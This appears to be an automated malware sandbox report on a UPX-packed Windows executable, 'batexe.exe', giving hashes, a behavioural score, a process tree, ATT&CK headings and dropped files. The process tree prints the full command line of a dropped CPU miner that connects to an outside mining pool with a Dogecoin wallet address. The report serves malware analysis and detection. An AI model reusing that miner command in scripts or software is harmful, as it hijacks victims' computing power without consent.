73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
303s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
20/02/2024, 05:20

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
4572	b2e.exe
5016	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
5016	cpuminer-sse2.exe
5016	cpuminer-sse2.exe
5016	cpuminer-sse2.exe
5016	cpuminer-sse2.exe
5016	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2324-6-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2324 wrote to memory of 4572	2324	batexe.exe	74
PID 2324 wrote to memory of 4572	2324	batexe.exe	74
PID 2324 wrote to memory of 4572	2324	batexe.exe	74
PID 4572 wrote to memory of 2772	4572	b2e.exe	75
PID 4572 wrote to memory of 2772	4572	b2e.exe	75
PID 4572 wrote to memory of 2772	4572	b2e.exe	75
PID 2772 wrote to memory of 5016	2772	cmd.exe	78
PID 2772 wrote to memory of 5016	2772	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2324
- C:\Users\Admin\AppData\Local\Temp\AA0B.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\AA0B.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\AA0B.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:4572
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\AF99.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2772
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:5016

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\AA0B.tmp\b2e.exe

Filesize
896KB

MD5
1f22d8bf5f6c3dda3e880ea1ba0417d4

SHA1
2a8dbf2319999a894714bdea650eb5be32c64c19

SHA256
afb7da96abe31529f462178372c48627a7e681e3c18cd2196aec8beee07f5b96

SHA512
217b89f6a74039807c135539482b1a769d715190f7756e2b0162a33da3d8ada909b80ca3fc1596e542f163f6a45726282997f4e52a36c352cc89b9e58c1e6e05

Download Submit
C:\Users\Admin\AppData\Local\Temp\AA0B.tmp\b2e.exe

Filesize
1.4MB

MD5
c5e09858066f182b7f5bdcb61d9b36fc

SHA1
7a1de79ffcfa17a7a86a01f8d5046eaf970b8905

SHA256
b5ede4ee58898940fa268a8aa17da9fc31eae634a8c95afcb2412ae199e8f4b6

SHA512
70e4e7cf5ec9df418480b0773c325e489749cbf6b5af491b24f6a6b2298cb043f681689531e70666787d42723d096d57012f1bccf317367908ce68a1420a6dfd

Download Submit
C:\Users\Admin\AppData\Local\Temp\AF99.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.8MB

MD5
6a119a1a3238dd3b96b0ca27529e1cb2

SHA1
d3ecdcfa3c3f70a0ce249e8210a4588b7a984d61

SHA256
679770ac6b8817004acfacd8eaa3db50ce3fbd34f039d45872f588f0182c021b

SHA512
0b4b49312889f2795399eb93f662a1af2a479890a2abc4f6279107b205f9fb674005d0c5280eac0a00c797eafda1b11f19b98f84c6edd385d6102e49e5496357

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.4MB

MD5
2af1ce05b5a790b134eefd1efd88dab7

SHA1
b078e6f3cf7ee356e0d9b671c6d33f3a6e777524

SHA256
ce4cb4f4e60a89cbf413622a7f96f879ee15256d4ed5872ccbc3f2b366369fe3

SHA512
bc08666b4c96fb98b1e1a9db0ec10c5bbcddb82efc4829d65057f765a37a24f6e28076300dcc3f07c0b547b563593232f90d959607ee6a5faca26b27364cf695

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.7MB

MD5
1e9f85c2f0775fad9062c4353b786616

SHA1
6022d9392d840ca887e54b25822fcdd33da85c71

SHA256
e12062782760feb5983ef38a672d759883368d4fa517e33401e76424651a5849

SHA512
7077d4277e97c174a49d4d5e94a42934dbbdcfc84ae568855d30af5df26f3d8834164a4bc2f8a776ccc6f9262fe100d6af22c9790caf39459057f58da2991e8b

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.5MB

MD5
55af20b6131174ae0295e7d93cc439af

SHA1
6c445aee86dd2d33ede264fd3ebffc60c490c1a7

SHA256
56fa0560426aa627635353fa20ec741880eaf327aacfed8b2e57cc82a3ae0641

SHA512
532a4101832c311fc50a2dbd1754903189372ba18d3201eeb709ca1b7e95cdbbc03eb00c3afafd8e2d269e4172123baa7f80aa52a4787258653d7958e8e1f57c

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/2324-6-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/4572-4-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4572-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/5016-42-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/5016-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5016-43-0x0000000062770000-0x0000000062808000-memory.dmp

Filesize
608KB

Download
memory/5016-44-0x0000000001160000-0x0000000002A15000-memory.dmp

Filesize
24.7MB

Download
memory/5016-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5016-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5016-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5016-41-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/5016-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5016-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5016-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5016-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5016-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5016-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5016-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download